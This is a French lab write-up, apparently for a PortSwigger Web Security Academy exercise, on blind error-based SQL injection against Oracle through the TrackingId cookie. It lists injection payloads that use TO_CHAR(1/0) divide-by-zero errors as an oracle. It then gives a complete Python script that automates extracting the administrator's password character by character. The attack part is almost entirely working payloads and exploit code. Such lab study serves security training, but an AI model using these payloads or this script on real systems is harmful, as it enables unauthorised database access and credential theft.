Contexte : la valeur du cookie TrackingId est injectée dans une requête SQL. L’application ne renvoie pas directement le résultat, mais déclenche une erreur HTTP 500 quand l’expression SQL provoque une exception (ici TO_CHAR(1/0) sur Oracle). On exploite ce canal : si la condition est vraie → erreur 500, sinon réponse 200. La base contient une table users(username, password). Objectif : extraire le mot de passe de administrator et se connecter.
Principe technique (rapide)
On place dans le cookie une expression qui force une erreur si la condition est vraie, par ex. (Oracle) :
Si <condition> est vraie → requête provoque division par zéro → application renvoie 500 → bit = 1. Sinon 200 → bit = 0.
Utiliser SUBSTR/LENGTH pour extraire caractère par caractère.
Payloads exemples (Oracle)
Vérifier existence de l’utilisateur :
Tester longueur = 20 :
Tester un caractère à la position i :
(les FROM dual / structure peuvent être adaptées selon la requête injectée dans l’application.)
' || (SELECT CASE WHEN <condition> THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') || '
' || (SELECT CASE WHEN (SELECT 'a' FROM users WHERE username='administrator') = 'a' THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
' || (SELECT CASE WHEN (SELECT LENGTH(password) FROM users WHERE username='administrator') = 20 THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
' || (SELECT CASE WHEN (SELECT SUBSTR(password, i, 1) FROM users WHERE username='administrator') = 'X' THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
#!/usr/bin/env python3
import requests
import signal
import sys
import time
from string import ascii_letters, digits
# Ctrl+C propre
def def_handler(sig, frame):
print("\nInterrompu. Sortie.\n")
sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
# --- Configuration ---
MAIN_URL = "https://0a8a00f80354f1b1803108ce00e700b6.web-security-academy.net/"
TRACKING_BASE = "HNDtc0c9ybTvqk9m" # partie légitime du TrackingId
SESSION_VALUE = "ZXuQT8xMsrBLG8KFDqvrccJDGFe8Z6Ra"
TIMEOUT = 6
SLEEP_BETWEEN = 0.15
MAX_PW_LEN = 50 # longueur max à tester
ALPHABET = ascii_letters + digits + "!@#$%_-{}[]()" # adapter si tu connais l'alphabet
HEADERS = {"User-Agent": "Mozilla/5.0"}
# --- Fonctions utilitaires ---
def send_payload(payload):
cookies = {"TrackingId": payload, "Session": SESSION_VALUE}
try:
r = requests.get(MAIN_URL, cookies=cookies, headers=HEADERS,
timeout=TIMEOUT, allow_redirects=False, verify=True)
return r.status_code
except requests.exceptions.RequestException as e:
print(f"[!] requête échouée: {e}")
return None
def make_error_payload(condition_sql):
"""
Construit le TrackingId complet pour Oracle:
ex: TRACKING_BASE' || (SELECT CASE WHEN <cond> THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') || '
"""
# On encapsule la condition dans la sous-requête qui renvoie une ligne pour admin.
payload = (f"{TRACKING_BASE}'|| (SELECT CASE WHEN ({condition_sql}) "
f"THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') ||'")
return payload
# --- Etape 1: détecter longueur du password (optionnel mais utile) ---
def detect_length(max_len=MAX_PW_LEN):
print("[*] Détection de la longueur du mot de passe...")
for n in range(1, max_len + 1):
cond = f"(SELECT LENGTH(password) FROM users WHERE username='administrator') = {n}"
payload = make_error_payload(cond)
code = send_payload(payload)
if code == 500:
print(f"[+] Longueur détectée: {n}")
return n
time.sleep(SLEEP_BETWEEN)
print("[!] Aucune longueur détectée ≤ max_len; considérer augmenter max_len")
return None
# --- Etape 2: extraction caractère par caractère ---
def extract_password(length=None):
if length is None:
length = detect_length()
if length is None:
# fallback: essayer positions jusqu'à échec
length = MAX_PW_LEN
password = ""
print(f"[*] Extraction (longueur présumée = {length})")
for pos in range(1, length + 1):
found = False
for ch in ALPHABET:
# SUBSTR(password, pos, 1) = 'ch'
cond = f"(SELECT SUBSTR(password, {pos}, 1) FROM users WHERE username='administrator') = '{ch}'"
payload = make_error_payload(cond)
code = send_payload(payload)
if code == 500:
password += ch
print(f"[+] pos={pos} -> '{ch}' (password so far: {password})")
found = True
time.sleep(SLEEP_BETWEEN)
break
# courte pause entre essais
time.sleep(0.01)
if not found:
print(f"[-] Aucun caractère trouvé à la position {pos} -> fin probable. Mot de passe: {password}")
break
return password
if __name__ == "__main__":
# détecter longueur puis extraire
detected_len = detect_length(max_len=30) # ajuster max_len selon environnement
recovered = extract_password(length=detected_len)
print(f"\n[=] Mot de passe récupéré (partiel/estimé): {recovered}\n")